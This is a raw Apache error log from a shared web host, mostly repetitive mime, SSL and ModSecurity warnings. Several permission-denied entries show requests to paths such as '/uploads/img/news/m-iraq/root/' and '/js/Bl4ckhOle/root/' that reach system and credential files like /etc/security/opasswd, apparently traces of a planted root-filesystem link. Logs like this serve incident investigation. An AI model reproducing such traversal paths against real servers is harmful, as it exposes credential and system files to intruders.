[Fri Jul 17 09:42:57.345856 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345873 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345889 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345905 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345921 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345938 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345956 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.345979 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346013 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346030 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346047 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346084 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346115 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346133 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346149 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346166 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346182 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346199 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346217 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346234 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346251 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346268 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346286 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346303 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346321 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346339 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346355 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346372 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346390 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346408 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346425 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346441 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346458 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346475 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346492 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346509 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346525 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346541 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346558 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346574 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346610 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346641 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.346659 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.572139 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.751916 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/pcspkr/bind
[Fri Jul 17 09:42:57.782663 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:34348] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:57.846611 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:57.985555 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:34364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:42:58.116887 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.209209 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.298822 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.389344 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/battery/unbind
[Fri Jul 17 09:42:58.481925 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.571517 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.662873 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.799302 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/hidraw/hidraw0/device/subsystem/uevent
[Fri Jul 17 09:42:58.907031 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:58.935157 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:59.026149 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup17/subsystem/wakeup1/device/subsystem/uevent
[Fri Jul 17 09:42:59.210033 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/battery/unbind
[Fri Jul 17 09:42:59.300762 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:59.429876 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/security/opasswd
[Fri Jul 17 09:42:59.483396 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:59.665382 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:59.756047 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:42:59.847222 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/shpchp/module/uevent
[Fri Jul 17 09:43:00.010540 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:34412] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:00.364104 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYBUS:01/subsystem/drivers/ac/bind
[Fri Jul 17 09:43:00.418649 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:00.418772 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:00.685082 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:00.866297 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:00.959328 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.028536 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:34470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:01.140960 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.232240 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.323919 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.361384 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.596873 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.687763 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.778856 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/battery/unbind
[Fri Jul 17 09:43:01.871092 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:01.961215 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/18/module/uevent
[Fri Jul 17 09:43:02.058975 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.114264 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.235087 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.325208 2026] [core:error] [pid 2050582:tid 2050582] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:43:02.367308 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.416627 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.417538 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 57.141.18.49:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory114/subsystem/devices/memory139/node0/memory46/subsystem/uevent
[Fri Jul 17 09:43:02.508984 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.532559 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.720451 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:02.808729 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:03.056977 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/thermal/unbind
[Fri Jul 17 09:43:03.154995 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:03.247550 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/31/module/uevent
[Fri Jul 17 09:43:03.399288 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:58364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:03.432503 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:03.580379 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:03.615821 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/22/module/uevent
[Fri Jul 17 09:43:03.707505 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:03.800253 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:04.072865 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:04.162432 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/25/module/uevent
[Fri Jul 17 09:43:04.436224 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:04.525635 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:04.617455 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:04.708427 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:04.823611 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58422] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:04.894351 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.072159 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/17/module/uevent
[Fri Jul 17 09:43:05.163686 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.254043 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.344945 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.439341 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.530951 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.621001 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.712519 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.804560 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:05.919055 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.084971 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.132764 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.176296 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.275424 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.467681 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.558016 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.649477 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:06.742349 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:07.588320 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:07.659778 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:07.684704 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:08.827128 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:08.919246 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.008921 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.100709 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.191750 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.196915 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.282017 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.374805 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.471735 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:09.745776 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/19/module/uevent
[Fri Jul 17 09:43:09.844323 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.116930 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.209557 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.300231 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.482325 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.574763 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.754492 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:10.846062 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:11.124307 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:11.307358 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:11.398315 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:11.590239 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:11.770125 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/slots/16/module/uevent
[Fri Jul 17 09:43:12.135506 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:12.226240 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:12.409012 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:12.499921 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:12.683865 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:12.775780 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.074010 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.237647 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.330712 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.423041 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.514705 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.588944 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:48720] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:13.607735 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:13.655164 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almr2Yl9vhFBGA6D8l-DSAAAAAw"]
[Fri Jul 17 09:43:13.655509 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almr2Yl9vhFBGA6D8l-DSAAAAAw"]
[Fri Jul 17 09:43:13.655827 2026] [security2:error] [pid 1993572:tid 1993572] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/robots.txt"] [unique_id "almr2Yl9vhFBGA6D8l-DSAAAAAw"]
[Fri Jul 17 09:43:13.695490 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/virtio/drivers/virtio_blk/virtio2/driver/uevent
[Fri Jul 17 09:43:13.867662 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:14.096746 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "almr2puhBssQvDAz4zCqGwAAABI"]
[Fri Jul 17 09:43:14.097285 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "almr2puhBssQvDAz4zCqGwAAABI"]
[Fri Jul 17 09:43:14.097886 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/anandaV4/css/"] [unique_id "almr2puhBssQvDAz4zCqGwAAABI"]
[Fri Jul 17 09:43:14.158897 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:14.186909 2026] [core:crit] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/sysconfig/imunify360/imunify360.config.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/sysconfig/imunify360/imunify360.config.d/' is executable
